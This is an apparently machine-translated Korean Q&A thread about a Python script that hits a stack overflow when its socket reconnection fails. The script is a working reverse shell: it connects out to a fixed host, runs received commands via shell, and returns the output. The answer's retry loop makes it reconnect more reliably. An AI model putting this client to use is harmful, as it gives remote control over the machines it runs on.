2016-12-07 2 views
1

이것은 파이썬을 배우는 동안 작성한 약간의 스크립트이지만, 어떤 이유로 스택 오버 플로우로부터 복구 할 수 없다는 것을 알려줍니다. 이것은 다른 서버가 연결을 끊을 때 발생합니다. try/except 블록의 연결이 어떤 이유로 실패 할 경우 (거부스택 오버플로에서 복구 할 수 없음

def connect(): 
    try: 
     s.connect((host,port)) 
    except Exception as msg: 
     print("ERROR HAPPEND 2 ") 
     connect() 
    else: 
     Work() 

, 또는 구문 오류는 필터링하지 않는 때문에이 코드가 잘못

#/user/bin/python 
import os 
import socket 
import subprocess 
import errno 
import threading 
s = socket.socket() 
host = '192.168.1.6' 
port = 9999 

def connect(): 
    try: 
     s.connect((host,port)) 
    except Exception as msg: 
     print("ERROR HAPPEND 2 ") 
     connect() 
    else: 
     Work() 

def Work(): 
    while True: 
     data = s.recv(1024) 
     print("Data : " + data.decode('utf-8')) 
     if data[:2].decode("utf-8") == 'cd': 
      os.chdir(data[3:].decode('utf-8')) 
     if len(data) >0: 
      cmd = subprocess.Popen(data[:].decode('utf-8'), shell=True, 
            stdout=subprocess.PIPE, 
            stderr=subprocess.PIPE, 
            stdin=subprocess.PIPE) 
      output_bytes = cmd.stdout.read() + cmd.stderr.read() 
      output_str = str(output_bytes , "utf-8") 
      s.send(str.encode(output_str + str(os.getcwd()) + '> ')) 
     else: 
      s.shutdown(socket.SHUT_RDWR) 
      s.close() 
      thread1 = threading.Thread(target = connect) 
      thread1.start() 
      break 

connect() 
+0

전체 오류를 붙여 넣을 수 있습니까? – user312016

+0

스택 추적을 게시하십시오. –

+0

스택 오버플로는 무엇입니까? 그리고 정말로 소켓에서받은 데이터를 Popen에 직접 연결하고 있습니까? –

답변

1

:

스크립트 예외 유형), 오류 메시지를 인쇄하고 을 재귀 적으로 호출하여 다시 시도하십시오 함수.

아무 것도 변경하지 않고 동일한 작업을 즉시 다시 시도하기 때문에 소켓 오류가 다시 발생하기 쉽습니다 (예를 들어 다른 프로그램을 시작하면!), 스택 오버플로가 매우 빠르게 발생합니다.

수정, 첫 번째 단계 : 적절한 오류 메시지

def connect(): 
    s.connect((host,port)) 
    Work() 

수정, 두 번째 단계로 연결 충돌을하자 : 당신이 연결이 나중에 확립 될 수 있다고 생각한다면, 당신은 예외를 잡을 수, 잠시 기다려 이 같은 예를 들어, 시도 :

def connect(): 
    while True: 
     try: 
      s.connect((host,port)) 
      break # connection OK, proceeed to Work 
     except ConnectionRefusedError as e: 
      print("{}, retry in 10s ...".format(str(e))) 
      time.sleep(10) 
    Work() 

를 귀하의 경우, 소켓이 닫힌 직후, 당신은 당신이 겪고있는 문제를 설명 재귀, connect를 호출하고, 그렇게하지 못한 다른 스레드를 생성 다른 sid를 분리 할 때 이자형.